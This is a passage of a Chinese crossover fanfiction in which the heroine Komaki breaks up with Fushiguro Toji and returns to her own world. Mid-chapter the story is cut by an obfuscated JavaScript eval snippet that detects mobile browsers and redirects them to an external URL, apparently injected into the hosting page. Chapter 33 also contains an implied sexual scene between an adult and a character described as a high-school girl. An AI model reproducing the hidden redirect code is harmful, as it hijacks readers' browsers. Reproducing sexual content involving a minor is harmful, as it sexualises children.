有的小说里偶尔会出现这样的情节,男主家里特别有钱,或者家世背景特别出众,因为各样的机缘巧合,他要么救了女主的父母,要么救了女主本人。而往往他们的情感就会落于一种地位极其不平等也难以转圜的窠臼之中,女主在其中犹如深陷泥沼,又因为恩义报偿、道德困境不得脱身。 小莳不喜这样的拧巴爱情故事,更不能相信自己有朝一日会落得和这些女性一样的下场。即使男主回心转意,即使他认识到感情经不起糟践,这个女主该流的眼泪也留了,该受的苦痛也受了:是了,这样的故事往往还伴随着类似于车祸、流产等网络流行关键词,最近还比较流行冷面做家务。 虽然家里实际上做家务的现在是伏黑甚尔,他停止的那部分劳动也都外包给了家政公司,而且小莳实际上不存在怀孕的条件,也暂时没有遭遇不测的迹象……但总之在她敏锐的感觉到伏黑甚尔的内心荒芜,缺乏关心和陪伴以后,她下定决心自己吃不得一点爱而不得的苦。 但她也不好在某一天某个寻常的时间段对伏黑甚尔说“嗨嗨嗨,经过我的认真考虑,果然我们还是不合适,我倒还好主要是你这个人就没做好准备进入任何一段亲密关系,要不我们还是回归普通的助理雇主关系吧,反正现在隔壁也是我家的了房间够多。” ……就这样吧,半死不活也好过说出这样伤人的话,还是严格意义上的救命恩人。 千错万错总归还是当初自己那句“你是有女朋友的人了”“我会好好对你的”的错。 33. 第 33 章 10月份的时候,家里出了些人事方面的变动,具体表现为灰原哀决定重新搬回阿笠博士家居住,在小莳的公寓里呆了好几个月,工藤新一的最长变身时间已经达到了足足三天。 他甚至吃着临时解药参加了修学旅行。小莳在现场,还见证了她俩的世纪之吻--只是脸颊的亲亲,但园子嗑晕了。 不是,青梅竹马好不容易一起旅行了就这? 算了,小莳想起自己的恋爱,已经快一年了。。就是谈到后期有点汗流浃背,她和伏黑甚尔甚至有数不清的日子里只是同床共枕没有亲热过了。 最后一次也许是暑假里?也可能是暑假还没开始的时候,她记不太清了。 这样有名无实的感情好像还真不如饱含情意的贴面吻。她反应过来自己没什么立场在心里大呼就这。 * 现在灰原哀也离开了,小莳和伏黑甚尔两个人在家的时候有一种空巢老人和她的老伴相顾无言的尴尬。 “在想什么?”今天难得伏黑甚尔下厨,他看起来心情不错,还开了一瓶起泡酒--给小莳喝。 “哀酱不在的第一个夜晚,想她。”小莳真心实意的感叹,“我终于理解为什么有人会自以为是以过来人口吻劝别人生小孩了,虽然讲话很傲慢,但不无道理。孩子走了我好孤独,噫呜呜噫。” “你想生小孩?”体贴地将逸散着草莓味的高脚杯放到小莳面前,伏黑甚尔与她闲聊。 “婉拒了。”生小孩这种事情不是普通女高该想的,伏黑甚尔开口就杀死了比赛。小莳头摇得像拨浪鼓。 今天的晚餐味道很不错,伏黑甚尔从小莳微微眯起的眼睛里看见了享受和餍足,心里给贝尔摩德“偶尔做饭”的建议打了一个大大的勾。 小莳自从被赤司征十郎没收了一次小甜酒以后,已经很久没有沾过酒精了,这次的13度让她眼神逐渐不复清明。 她以前是不是还答应过征十郎说20岁以前不再碰酒精来着? 好像是哦。 糟糕。 这就是小莳被伏黑甚尔勾起下颌时在想的内容。 她很快无暇顾及其他的事情,他们久违的交换了一个吻。小莳被禁锢在男友的怀抱和餐桌椅靠背之间,鼻息之间全是薄荷与花香的气息。 小莳迷迷糊糊之间嘀咕:“你啥时候背着我偷偷去刷牙的?” 男友贴着她的耳际,明明该是清凉的气流却让她耳朵发烫:“趁你发呆的时候。” 然后她被夹在饱满的前胸和臂弯里,被带到沙发。虽然感情上缺了点什么,但是伏黑甚尔的好身材和俊朗面孔是客观存在的,小莳很自然地沉迷其中,并且没什么负担的放纵自己给予回应。 两人的放纵持续到夜间,他们还一起洗了澡,小莳基本是挂在伏黑甚尔身上完成了全程。 但是小莳拒绝了更进一步的亲密行动。 伏黑甚尔对此并不满意,他要求小莳用手帮他解决,作为回报…… “你去的好快。”一切结束以后难得他们又抱在一起,共享一个被窝。 “都怪你嘴上的疤蹭到我腿上的肉了,你太……”小莳的脸散发着不自然的红晕,说到一半她就不愿意再接下去。“你这边倒是慢的要死,我手都酸了。” 他勾起唇角,把这当成夸耀理所当然的收下:“多谢夸奖。” “并没有在夸奖的意思!” 伏黑甚尔长臂一收就将女友抱得更紧,今晚的体验差强人意,他发现女友比预想的更加沉默,以往,大概她会在事后拉着他多说些什么。 现在她在怀里昏昏欲睡了。 这不是他乐意见到的。时隔一段时间,两人地位倒转,伏黑甚尔想着可以聊的话题,却发现自己这边实在是平淡无奇。他从来不是两人中比较健谈的那一个,现在小莳不主动开口,他也就无话可说。 他想起差不多半年前,那时候女友还会叽叽喳喳的拉着他说东说西,缠着他问以前的事情,美其名曰:想要了解甚尔更多。 他心里想,如果她现在还会问这些问题,那么他不介意作答。可她已经很久不和他讨论这些了,她不再对这些感兴趣了吗? 他不记得是从什么时候开始得了,他不像之前那样吸引她了吗? 伏黑甚尔没有办法自己得到答案,也耻于开口。 既然她不问,那么他就自己说点,也好过无意义的思考。 于是在清冷的月色下,透过被风吹开的窗帘,城市的夜间都一览无余,孤高的月亮和映着一尾霓虹的车线悦动在同一副画卷中,伏黑甚尔不去看窗外,看怀中眼微微阖起有着倦容的女孩,和她说起自己以前在家族里的居所,也是可以像现在一样见到月亮,不过京都的大家族工业化做的不好,在他小时候一切都只是靠人力,只是夜晚能看见些星星,庭院里还有虫鸣。 “那岂不是还有虫子咯?” “按理说是的,在我小的时候夏天还有爬虫钻到床铺上,灯芯里也有飞虫。”床铺上的虫子大约是人为的,但反正也是虫子。 小莳随意发表了见解:“果然还是高层好,你离家出走的选择是正确的。家里的孩子居然怠慢至此,人事管理也太不严密了。” 灯芯?是她想的古代的那种灯芯吗,这人家里是没通电吗? 伏黑甚尔于是主动和她讲述了天与咒缚和那在禅院家代表的一切,言及六岁前作为嫡子的一时繁荣,言及六岁后被视若草芥的十来年,他就是在那样差不多算是无人在意的境地长到成年。 原来天与咒缚是这个意思,曾经让她格外好奇的问题在她不太在意的当下被主动解答。 小莳听见他说的一切,在了然之余仍不免惊讶叹息。了然是基于对伏黑甚尔这个人的了解,若是那样放置不管的养大一个人,那他性格至此也不过是一场理当如此的因缘际会;惊讶叹息是因为,像伏黑甚尔那样深具天赋的个体,也会在完全不接纳他的环境中被排斥至此。 她生出些许怜悯。 “怎么不说话,可怜我?”伏黑甚尔没什么兴味地调侃,他不太期待小莳能给予什么出人意料的反应,或者说,他心里能想到的所有可能,也不过就是那样。也许他不应该把这种事情当成闲聊的话题。 在一阵沉默后小莳才缓缓开口:“……可能也有点同情在其中吧。”她主动拥住面前紧实的躯体,关于气味,她现在已经嗅不到伏黑甚尔身上的味道,她不似以前那样喜欢他,不像以往那样期待和他又更多更长久的未来,只是仍然会因他不幸的过往勾起相似的忧愁。 小莳被他不幸的故事影响到了,有才能而无价值的困扰总像被困在瓶颈:“你这样的人也没有办法完全逃脱才命相悖的悲剧。”而且这样的悲剧甚至在他离开家族后的十年后仍然影响着他,如影随形了上辈子,转世也难以挣脱。 “从第一次见面起我就知道你很强大,我没有一刻怀疑过自己的判断。我想,即使在我的全盛时期,也不太会愿意和像你一样的人交战。你就像是那种…我的老师大约也会评价你为‘天生的杀手’,作战意识、得天独厚的□□,没有一样缺少的。”上一个得到里包恩这样评价的是山本武,离开那边的世界两年,小莳最后一次听说他的消息是某次清平叛乱大捷。时雨苍燕流的继承者以一当十,仅凭着一人一燕一犬扫平了规模尚可的负隅顽抗者。 “这样的强大竟然也伴随着蒙尘一生的耻辱,即使有再天赋的才能,不能以之为荣,终究成为被排斥的局外人,终究……游离在价值评判体系外,一文不值。不应该是这样的啊,甚尔君。” 小莳的声音并不大,语气也带着朦胧的睡意,听得出来她仍然有些困倦。但她给出的作答竟然超越了伏黑甚尔预想的一切。她就这样平淡的对他曾经遭遇的一切发出质疑,说,也许有着一些同情,但是我倒更想问一问命运,不该是这样,何至于此? 伏黑甚尔听见怀中人均匀的呼吸,对于她说的话久久不能忘怀,像鸣雷闪电奔腾过静谧的夜空,他只是说了几句往事,心底纠缠日久难以疏解的困扰就被她三两句触及,他隐秘伏藏的过往像在火光中被照明得一清二楚。 把一切听在耳里,然后体谅、响应,她一向如此聪敏。 * 小莳觉得,伏黑甚尔接下来一段时间变得有点粘人。他还是和以前一样沉默寡言,但是日常倒是会主动进行身体接触。 她情愿不要。 她的婉拒起了效果,伏黑甚尔大概发现小莳不太愿意在日常生活中过分亲近,也就收敛起来。但背地里问了几次贝尔摩德。 贝尔摩德,著名女演员,其实一点也不擅长一年以上的长久感情,她的伴侣周期大概也只有个把月,但自信女人最美丽,而且听起来伏黑甚尔说的话也就很日常,没什么特别值得在意的,所以她放心大胆的给出了云建议:“这我熟,情侣间的倦怠期罢了,我一般是建议直接换人的。但如果没有这方面打算,我的提议是,冷一段时间,说到感情,你来我往,不是有句俗语说什么‘小别胜新婚’吗?” 她话多,他信了。 他又询问了点建议,他一问,她惊讶:“让你不做饭你就只不做饭?!说白了洗衣拖地铺床都是你在做,你不还是个没有魅力的家事官!举一反三这个词从没经过你的大脑吗?而且你家之前还养了个她亲戚家的小孩子,这在未婚情侣间发生你是否觉得正常?” 伏黑甚尔觉得很正常,首先,他以前还真的带个小孩,还是亲生的……但是转念一想每次情感结束的也都很快就是了。 哦,那还是听一下女明星的建议。 他简要说明了家里的小孩现在已经住回远房亲戚家,出于--随口延续了一下抑郁症的说辞,因为要进一步疗养。 “7岁抑郁?你们米花……算了,你记得创造点离开的场合,正好我手头上有个不涉及内幕的小任务,在东南亚。要不要去?如果你去的话我也当休假了。” 时长五天,伏黑甚尔答应了。 这个月的工资又已经花完,他想赚点钱。 小莳在听见男友要离开一阵子后并没有太在意,正好周末她要和园子、理子一起去北海道。她估摸着再过几个月就可以长长久久的离开,虽然以后还有回来探亲的可能--毕竟征十郎哲也园子小兰理子他们都在这里常住,但无论如何再离开之前还是见一见朋友们,留下点回忆比较好。 田所惠家里的民宿正好在北海道,初冬品尝吊切安康鱼是非常风雅的事情(黄濑阳菜说的,偶尔做个美食vlog也很好)。 毛利兰到年底资金不足 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赤司征十郎知道这件事是通过黑子哲也。 在哲也和青峰、火神,同时进行恋爱的第二天,赤司就看破了这场伦理爱情,看破不说破。 但架不住两位队友行为太注目。 赤司成了全队第一个【正式知道】此事的人,哲也自认为和他关系又亲近了不少,日常往来也变多了。所以有一天,当黑子哲也说“这个男人以前把我撞到过,看样子面相不善”时,赤司征十郎看了一眼他的手机屏幕。 下一秒电话就打到了小莳手机上,此时她刚离开列车车站,还没上出租车。面对兄长的关切,小莳面无表情:“是的,我确实打算找个机会联系一下甚尔。”这下全世界都知道她男朋友又有女朋友了。 回到空无一人的公寓,小莳瘫在沙发上,那里被离开前的伏黑甚尔收拾的很干净,却在自己出行前被弄得有点乱,抽纸盒、遥控器,还有拆开一半没吃完的薯片。 空气中弥漫着颓丧。 她最终也没有联系伏黑甚尔,那边也没有哪怕再多一行字的消息。他们的恋爱现在像一道随时间结痂的伤口。 两天后,当小莳放学回到家中,发现灶台上有小锅咕咚咕咚的声音,然后听见男友从另一边的阳台走出来,他手上还拿着没晾晒的潮湿衣物。 “……” “怎么了?” 面对好像什么都没有发生的伏黑甚尔,小莳过了有几个瞬间才找回自己失去的言语能力,她用力眨了眨眼,“你知道在这几天克丽丝·温亚德在哪里吗?” “你知道媒体上是怎么写的吗?” 伏黑甚尔惜字如金:“我和她没有那种关系。” 谢谢你的解释,下次不许再解释了。 小莳觉得伏黑甚尔实在不通人性,在这种时候像是没有受过社会教化的随便什么小动物:他都知道,可他比起解释,还是选择了像什么都没有发生一样。 她不愿意在这种时候还给人讲道理,她不愿意做燃烧自己温暖别人的蜡烛,不愿意做那样在文学作品里被同情、被赞美的女人,她在这段感情了付出了差不多的东西,一年一个多月,她做的还不错。 “不…”小莳呻吟着闭眼:“我觉得我们可以分开一段时间,你觉得呢?” 现在她又睁开眼,自己把伤疤揭开,说出来以后她心里好受多了。小败后的及时止损,她这样告诉自己,好歹,一切都结束了。 她亲口将伏黑甚尔从她的生活中剔除,最终还是亲口提出了分手。 说是分开一段时间,其实小莳心里想的是:拜拜,我会在最迟十二月就离开这个世界,回到意大利,或者并盛,或者和这里平行的东京。 也就是,差不多,再也不见。 也许缘分使然,她会在回来探亲的时候顺便重新见到伏黑甚尔,那也无妨,也只是见到而已,他们彼此大概不会打招呼,最多不过寒暄两句。 * 伏黑甚尔生活习惯还不错,他离开的时候带走的东西并不多,至少小莳没注意到什么。兴许他在这里就没买过什么物品。 他还晾好了衣服,将炉灶关了,只是没有将烹饪好的菜品端上桌。 看得出来他原本心情是真的不错,红酒牛尾和蔬菜汤锅,佐以片成小动物形状的苹果,他雕的兔子还挺可爱。 阳台上的新烘干的衣服散发着小莳选购的留香珠的气味,自从去年某个时候--那时候他们感情正不错,小莳挑选了这个味道,并决定它是同系列最佳时,家里洗衣机旁就再也没少了它。 品牌说明是鸢尾花的味道,实际上根本不是,但十分合小莳心意。 现在小莳觉得不太好。 她没有吃水果,也不再喜欢这个香味。 大概不仅是伏黑甚尔本身的因素,她或许本身也有点喜新厌旧的成分在自己身上……吧,也许伏黑甚尔一切都好,她仍然会厌倦,就像厌倦300多天不更换的留香珠那样。 时间会给她答案,但她短期内怕是不太有机会见识恋爱的自己了,也许未来的某一天,等她真的放任自己坠入爱河后,一切才能见分晓。 34. 第 34 章 第二天小莳调理好心情,征求赤司征十郎的意见,然后他不知道和父亲汇报了什么内容,由集团的助理先生亲自给伏黑甚尔发工资的银行卡上打了10000,单位是w。 小莳知道这个数字的时候吓了一跳,她本来预期的是大概几个月的工资,虽然他大概不缺,但好歹能帮助过渡个把月。真金白银虽然不多,但也有意义。 结果赤司征十郎说,“既然不再有感情往来,那就把之前的一起清算。赤司家不是小门小户,给的起这些。”语气相当公事公办,只在随后询问小莳是否要近期就会离开时透露出柔和的情感。 小莳说还要再留几周,将事情一起处理了,再和朋友们告别。 她受到了江户川柯南和京极真的影响,觉得出国是很不错的理由,最终决定去瑞士某所全封闭的贵族学校留学。 具体什么学校这么豪横她也不清楚,她反正没听说过这种学校,能说服朋友们就好。 她又不能坦白:“是的,我回老家做Mafia去了,886。” 江户川柯南这边比较棘手,连带着对灰原哀的说辞都要重新思考。 最终她决定将真相美化一下告知。 光是异世界和穿越时空就让他嘴角抽搐了,江户川柯南是一个彻底的无神论和唯物主义战士,毕竟是侦探;而灰原哀是个生物化学博士,制药学者,比起时空穿越和非具象的理论她更相信物理和分子。 他俩接收这一信息不太容易。 话说返老还童和变小再变大都有可能了,只是普通穿越到底让人不能接受的点在哪里啊喂! 然后是齐木楠雄。 小莳给每个人都列了一张单子,一个也不会漏。 今年她除了每个月给齐木楠雄寄点礼物,出行是会给他带伴手礼,除此之外并没有额外的交集,面也没有见过。 说到见面,上次好像还是在去年的圣诞节,魔术散场后瞥见了他和他父母,可能他没看见她,所以人潮中小莳没主动打招呼。 他爸妈还怪普通的嘞。 小莳想,临别的时候还是去单独见齐木楠雄一面比较好。毕竟人也是讲话不开口,隔空取物,能让车自己跑起来的不科学存在,在被绑架时帮助她不少。 齐木楠雄似乎对她的到来并不意外,并且事先就准备了茶水。 “楠雄也到了这个时候呢~呵呵呵呵。” “谢谢阿姨。”但是她并没有在和这位女士的儿子谈恋爱。 “请不用在意这些,你可以去我房间坐。” ………… 浅聊五分钟,小莳发现这人好像有读心术。 又过一会,没想到他真的有读心术啊!!!! 虽然其实叫心灵感应。 但本质就是读心术! 这世界上所有的外挂都开给这人了,一定是这样,一定是这样! 居然会有人在字面意义上的无所不能。 话说声音真的太像征十郎了。 “所以其实在我走进半径200米内的时候,你就通过活跃的心理活动侦查到我了?” “没错。” “我想什么你都能知道?”那也太尴尬了,简直像在更衣室遇到谎报体重的对象。 “没错。请不要在意,我已经习惯。” “……” “呀嘞呀嘞,第二句是心理活动吗?疏忽了。” “……” 虽然这么说已经太晚了,但小莳真的还没做好果奔的准备,再待下去她要绷不住了,她怕控制不住自己想一些奇怪的东西。 糟糕,已经开始想了。 迅速地和齐木楠雄告辞,并且顺便欢迎一下对方有空可以去意大利做客,她一定带着自己的好搭档热情接待。【不过最好不要是近期,斯密吗喽】 在脑子里把严肃悲伤认真的事情全部过了一遍,小莳左想右想想到自己分手几周的男友,终于找到了点悲伤的事情,在脑子里开始盘分手流程图,离开齐木家附近。 而在回家的路上,有可能是念念不忘的回响,她正好遇见了下车抽烟的克丽丝·温亚德。 下意识往相对着她的驾驶座看了一眼……恰好和前男友来了个隔窗对视。 小莳:“……” 移开目光,装作什么都没有发现然后快步走开吧。 美丽的女演员有试图和她说话,称呼她为“cutegirl”,怎么想都不像在喊其他人。但小莳顺从心意没有转头给她一个眼神,盯着道路上贴的平平整整的花纹,一路往公寓走。 对于未来没有交集的人,可以选择忽视,这并不是一种不礼貌的行为,反正一场照面过后他们大抵不会再有下次。对于伏黑甚尔……小莳时不时会想起有关他的事,但也清晰认识到一切都已经过去。也许有一天伏黑甚尔会在某个瞬间理解他现在不能理解的情感,也许有一天他会经历其他在社会当中具有正常意义上“人类人格”经历的悲欢离合,但小莳没有等待他的兴致,也无暇为他停留。 他们度过了一段美好的时光,也度过了一段稍微有点煎熬的时光,然后就在某个看不见的尽头戛然而止,至少在小莳看来如此。 小莳轻轻说:不论是美梦还是噩梦,凡梦境,都有醒来的一天。再见。 希望伏黑甚尔也能拥有可以看到的、值得期待的未来。而她,赤司小莳,很快将重新冠以泽田的姓氏,未来的泽田小莳,她又想到窄门里的那句话: 因为抱着重逢的期待,在我眼里最险峻的小道也总是最好的。 伏黑甚尔不会成为归宿,只是险峻小道上的一场梦而已。 宽门窄门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413102|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都无关紧要,她即将从指环开拓的那扇门离开,前往期待的未来。 * 在十一月末,秋天的尾声,京都下了一场雨 小莳回到了一切开始的地方,京都老宅。庭院里还有花,还有绿色的青苔,花园小径的树叶堆积了又扫,她路过时又有新的叶片被打湿、旋转掉落。 地上的叶片也像是被雨点洗涤过,沾着水和泥,看起来并不脏。 就是在这样的天气中,她走向父亲所在的书房,在里面留下了点外面带来、沾在肩头的雨水,和他告别。 赤司征臣沉默了一阵子,最后只询问她征十郎是什么时候知道的。 小莳抿唇一笑,说了个日期。距离今天有一阵子了。 他说,知道了。 小莳给父亲鞠了一躬,告诉他以后如果回来看征十郎的话,也会尝试联系他,他们还会重逢。 出门的时候她想,作为父亲,也许赤司征臣说不定真的有点喜欢她这个女儿呢?他看起来分明有点舍不得,最后都忘记把目光重新看回桌上的合同了,或者报表什么的,但他什么也没多说。 可能某人就是这种脾气,她不好说。 临别时总有点怅然若失,多想些也正常,真相无从验证,小莳只是感受到了那一段目光注视。 话虽如此,最后一面还是要给最特殊的人,如果她在这个世界所见的最后一人是赤司征臣,那也太委屈了。小莳和赶来送行的赤司征十郎一同用了晚餐。 她分享了最近一个月的收获。 “时空穿越里有的时候会带来电子设备的故障,这是常识。”小莳和兄长这么解释,“所以不能太相信u盘和手机内存,而且有的时候世界上也存在时差,毕竟我刚来的时候这里已经是21年,可我那边有人还在用翻盖手机。不过我早就知道20年以后的社会面貌了,波维诺家族的的鲨手,比我稍年长1岁的那个蓝波,他就有十年火箭筒,我曾经用它时空旅行过一阵子,在我小的的时候,意外。”但她失去了关于那次旅行的记忆。 后来她也被勒令禁止乱到十年后,上一次十年火箭筒的滥用导致无数个世界差点毁灭,兄长泽田纲吉吸取了教训,包括蓝波在内的任何人禁止随便使用火箭筒……虽然那玩意一直被保存在蓝波身上的某个次元空间里,除了他本人没人掏的出来。 总之很神奇。 接着小莳给赤司征十郎展示了这段时间拍摄的照片,这些都是可以顺利带回的,铃木园子、毛利兰、天内理子、工藤新一……几乎是除他以外的所有人,如果不算那天东大门口篮球社一行人一起拍的照片的话。 小莳笑眯眯的对他说:“和征十郎的照片,暂且就留到下次见面再拍摄吧~” 眉眼弯弯,直白的向他传达【我没有忘记你哦】,以及承诺【重逢】。 35. 第 35 章 有句煞风景的话小莳没说,如果要说还有谁比较特殊,其实是江户川柯南,因为他在上上个月刚刚变过身,小莳在修学旅行时把握机会和“只在学园祭见过一次面”的工藤新一也拍过一张照片。 同时在几天前她也和柯南、灰原哀两人留下了在外吃饭等菜上桌的某个瞬间……所以严格来说她和柯南的多个身份都拍摄过照片。 有点暧昧了哈。 (其实没有) 上次有意识的时空穿越是在小莳7岁时,太久远,几乎记得不得,她甚至没记清楚十年以后发生的事情,虽然印象中停留的时间烧久,但貌似也就是囫囵过去未来,又咻的一下回来, 16岁来到赤司家的那次则是普通的下坠,好像老式动画片里地板上被锯了一个洞,画面中角色在空中愣神几秒,才突然掉下去那样,小莳在空中只来得及调转一下方向,就落到了征十郎的床上,身体协调,不至于跌一跤。 这次回去则如同在七彩的隧道里穿行,像水族馆的水下通道,不过本该是观景窗的通道四周是抽象又眼花缭乱的景色,又似万花筒里光怪陆离的绚烂世界。 眩晕感是惑人的。 唯一能让她有安全感的玛雷指环被戴在右手的中指上,那是曾经属于彭格列指环的位置……现在嘛,事急从权,她正式宣布加入米欧菲奥列!(bushi) * 2018年10月19日 机械丸因为傀儡术的天与咒缚被上天收走的健康体魄,基于真人的无为转变一时恢复,作为代价他透露了一些咒术界的秘密,做了个情非得已的间谍。之所以说是一时,是因为在那之后他很快就落到比之前更差的境地。 以前只是能被月光灼伤、右手没有、腰部以下没有知觉的天残人类。这下他被真人干掉了。 死前想的是心目中的女孩,或许还有一句咒术师没有无悔的死亡。 不过有句话怎么说来着,命运的齿轮开始转动。 在很偏远很偏远的水库旁边,隐约突然出现了此前都没有迹象的城镇。一只黄色的小鸟穿越重重绿色山林,嘴里嘀嘀咕咕地叫着“云雀云雀” 等云雀恭弥撑着浮萍拐来到现场时,发现自己的小鸟云豆落在一个失去意识的绷带人身上唱歌。 将他,或者它,或者她,这一情形准确描述为失去意识,是因为该个体还在呼吸。 从绷带的渗血情况和流液体情况来看,有点像浑身被剥了皮。 并盛周边一直是平原和城镇,乍然出现一片林区和水源……耐人寻味。 云雀恭弥联系草壁哲矢,把人带回风纪委员会财团地下区,先留他一口气看看情况。 该目标生命体征在遵医嘱接入药水后趋于稳定,但仍属于失去意识状态,经检验没有能通过正常医疗手段使其复原的可能,晴之火炎也不能。 面对草壁哲矢的建议:“恭先生,您不如联系一下雾守?” 云雀用凌厉的眼神代替了浮萍拐的实物打击,很好地警告了秘书切勿妄言。 说到彭格列雾守,从初代起这个位置就比较漂浮不定,先不说初代D是个天生二五仔,十代第一名雾守是个真身在复仇者监狱,很久后才重见天日的男人。他和原名为凪,后改名库洛姆的女孩结下良缘,在车祸中用幻术帮她重塑了半个身体,于是她甘心被六道骸驱驰,在他无法真身出动的时候代为行动。 到此为止彭格列十代目就有2位雾守了,而在泽田小莳14岁后,这时六道骸和泽田纲吉同龄24,他决定给自己从Mafia家族退休,于是和十代目缠绵一夜后,留下指环和雾守之位,和其他守护者脱了关系,从此后只接十代目的电话,其他人永远无法接听。 小莳继承了这枚指环,成为十年内的第三位守护者。 2年以后她也失踪了,监控显示她是在桌上玩抛指环的一瞬间从画面消失的,她被定制成匣中兵器的助理奈亚拉托提普在同时失去了能量来源,众目睽睽中化为雾蓝色的烟重回匣中。 因此大家发现小莳的失踪仅仅只用了几秒,查看监控用了十分钟,再到彭格列十代目泽田纲吉紧急结束视频会议到他用大空戒指重新打开属于妹妹的匣子,一共也不过十几分钟。 奈亚拉托提普没有提供任何有效信息,好像泽田小莳从来不存在于这个世界一样。 个人情感暂且置之脑后,退休两年曾声称“讨厌黑手党,不会加入任何家族”的六道骸重回意大利大舞台,以世上最强幻术师和彭格列雾守的身份活跃在西西里的传说中。 因为是强大的幻术师,所以有可能起人于无何有之乡,也就是传说中的活死人肉白骨,如果说有谁能顺便挽救一下这个新·绷带男的话,大概六道骸算一个。 不巧,云雀恭弥和他关系不好。 “自求多福吧。”云雀恭弥留下几个字,默许了秘书将此事上报给意大利本部,准确的说是直接汇报给泽田纲吉,并开始高强度巡逻并盛。 世间的不可思议太多,匣兵器的奥秘,世界的基石,小莳的失踪,有一样算一样,至此一个都没解决,如果不是界外重现的世界恰好出现在自己守护的并盛,云雀恭弥不会多看它一眼。 财团不缺钱,养个绷带也不费事,只是他本人不愿意将精力耗费在这种东西上。如果有草食动物愿意费心的话,就让他们来吧。 泽田纲吉得到消息后,百忙之中灵感突破,莫名将此事和2年前离奇失踪的妹妹挂钩起来,一通视频电话亲自打到瓦利亚斯库瓦罗那边。 工作总是繁忙,上一次这样联系已是几个月前。很高兴见到银发的剑客仍然一切都好,面对他的“你直接联系boss他会更高兴”建议,只是苦笑。 通过小莳吸引了他的注意力,然后这场通话逐渐又有了很多人的加入,先是爱凑热闹的贝尔,然后是挂念伙伴的路斯利亚,纯属好奇的弗兰……最后是他的目标听众,去年不知缘由的天降系,他自称夏油杰。 状态应该是已故。 但总之他来的时候脑袋和四肢都很齐全,精神状况有点不正常。因为一般人不会十分坚定自己已经死了。彼时恰逢小莳失踪将近一年,相信直觉的十代目过了一阵子下意识把人安排到了正缺人手并且随时准备吸纳新成员的瓦利亚。 XANXUS说着“我是九代目的直属部队,杂碎你以为你配支配我?”一怒之下让彭格列的修缮费再创新高,但这位夏油杰先生倒是安然无恙的加入了那,后续消息是,斯库瓦罗和路斯利亚挺喜欢他的,其他不知道。 他自称是咒术师,理想是消灭一切凡人,这反社会的调调听起来就和瓦利亚很合拍,但是还是先不介绍他和白兰认识好了。他大概已经放弃了……大概吧,也许没有呢? 泽田纲吉拿不准,但是鉴于夏油杰给他的感觉还不错,比白兰和D好很多,总而言之他愿意相信他,一定程度上。 他说自己有一种直觉,兼又看了风纪集团拍摄的一些现场照片和摄影,认为并盛町的这样近似于扩张的迹象,可能和小莳有关,总归也是世界的变动。 正好夏油杰也是界外来客……说不定他配合草壁先生能有更多的发现。 夏油杰应允的十代目的请求,倒不如说在他决定答应之前瓦利亚众人就疯狂暗示他接受,第二天他更是被打包直接送往彭格列总部,首领办公室。 他一向知道家人,也对彭格列这种跳脱自由中有家族羁绊的团体有些好感,正是因此他也更好奇,泽田纲吉的幼妹,被瓦利亚这群人视作同伴的天才幻术师女孩,“比现在的雾守强大更甚”的白毛蓝眼,究竟是怎样的人。 而且,看照片她长得有点像他以前的挚友。 毕竟是同款白毛蓝眼,又有着这样那样强大的本领……差点他就有点怀念悟了,只是差点。 他得到了同龄人首领的嘱托,和原本属于泽田小莳的匣子--上面现在有着手指摩挲留下的的痕迹,还有曾经用油性笔画上去的一个爱心,有点稚嫩,能看出来是属于精神面貌未成年的人,最后,还有曾经属于幻骑士的骨残像指环,和曾经属于六道骸的地狱之眼,两枚同为地狱指环的强大雾属性指环。 “如果见到小莳的话……”彭格列年轻的首领难得开口说一半就面露踌躇,好像有点怀疑自己的判断,“希望这一切不只是我微不足道的期待,如果您见到她的话,请将这些交给她吧。恭弥那边我来和他说明情况。” “那么,拜托了,夏油。” 可靠的首领形象维持了一阵子,最后夏油杰还是见到了因为期期艾艾的叮咛变得小家子气的泽田纲吉,他说只要有任何的线索,无管时差,任何时候都可以联系他,如果联络不上他本人,那么大可以直接和瓦利亚那边沟通。 “如果可以的话,你介意今晚就出发吗?我安排了私人飞机。” “……” 夏油杰,28岁,2018年10月21,打包被送离意大利,前往传说中的彭格列的故乡,以前从未涉足过的并盛町。 啊对对对,他是自愿的。 * 2018年10月31日19:00整,涩谷地铁站附近被设下了半径400m的帐。 将参与万圣节狂欢的一般民众困于其中不得出。 20:40分,五条悟准时到达帐中帐中帐,涩谷站地下五层站台。 一大群普通人正式被挤入地铁轨道,加入战场,被咒灵三人组乱杀了一批,漏瑚和花御采纳了“夏油杰”的建议,算计着五条悟身为咒术师不太会滥杀无辜的品性,料他在人群中不会乱放术式,只会选择保守防御,选择了领域延展。 削减了领域的必中,有效中和了术式,因此还是能达到近似命中100%的效果。 小莳脱离漫长的甬道后,进了另一层黑黢黢的甬道。 “?”怎么像地铁。 第二反应,好多人啊。 穿着各异的人,人挤人,一部分cosplay玩家被后面的人潮挤到轨道底下……这样等车来了他们不就会全被压死了吗? 以及,小莳发现自己好像降落的地点又双叒叕不太恰当。 很久没有工作但仍然出色的战斗意识驱使她临时改变了降落地,后挪了两个身位。然后点燃火炎,护身。 在她身前,两道混杂着不明能量的拳风相对,如果她按照原来的轨迹落下,恐怕会被迫挨一下,听着砰的一声,考虑到她脆皮的身段,生死难料啊。 在注意到左前右前两个非人类存在之前,小莳先看到的是位于他正前方,慢悠悠落在轨道自动门上的一位……眼罩男。 小莳:有时候一个人穿越也挺无助的。 左边的趴坐在地上的女孩发出尖叫,打扮成乘务员一样的爆炸头前去安抚,眼罩男看起来好高,一左一右两个一个火山头还有一个头上有犄角的东西盯着她看。 小莳于是问出了她比较想知道的问题:“请问,这里是哪里?” 回应她的是往她五脏六腑部位掏的一只手。 “……”好没礼貌的火山头一枚呀。 小莳没见过这场面,但也知道此时最好往人类的方向靠,那个眼罩男看起来不像是这种邪恶的存在,上去问问他好了。 借助火炎的助推和熟稔幻术一瞬间的视觉差,小莳贴着轨道翻了一圈然后轻轻一跃,就跳上了站台,虽然背后群众一直在挤着她,但她随即在站台上diy了个幻术把手,握住。 